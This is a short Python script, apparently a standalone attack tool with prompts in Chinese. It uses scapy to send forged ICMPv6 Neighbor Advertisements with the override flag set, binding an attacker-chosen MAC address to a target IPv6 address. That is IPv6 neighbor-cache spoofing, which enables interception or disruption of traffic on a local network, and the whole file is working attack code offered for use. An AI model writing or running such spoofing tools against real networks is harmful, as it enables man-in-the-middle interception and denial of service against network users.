import scapy.all as scapy

def send_fake_neighbor_advertisement(target_ip, fake_mac):
    try:
        packet = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") / \
                 scapy.IPv6(dst=target_ip) / \
                 scapy.ICMPv6ND_NA(tgt=target_ip, R=0, S=1, O=1) / \
                 scapy.ICMPv6NDOptDstLLAddr(lladdr=fake_mac)

        scapy.send(packet, verbose=False)
    except PermissionError:
        print("\033[1;31;40m权限不足，请以管理员身份运行程序。")
        print("\033[1;37;40m")

target_ip = input("请输入目标IPv6地址：")
fake_mac = input("请输入欺骗的MAC地址：")

send_fake_neighbor_advertisement(target_ip, fake_mac)
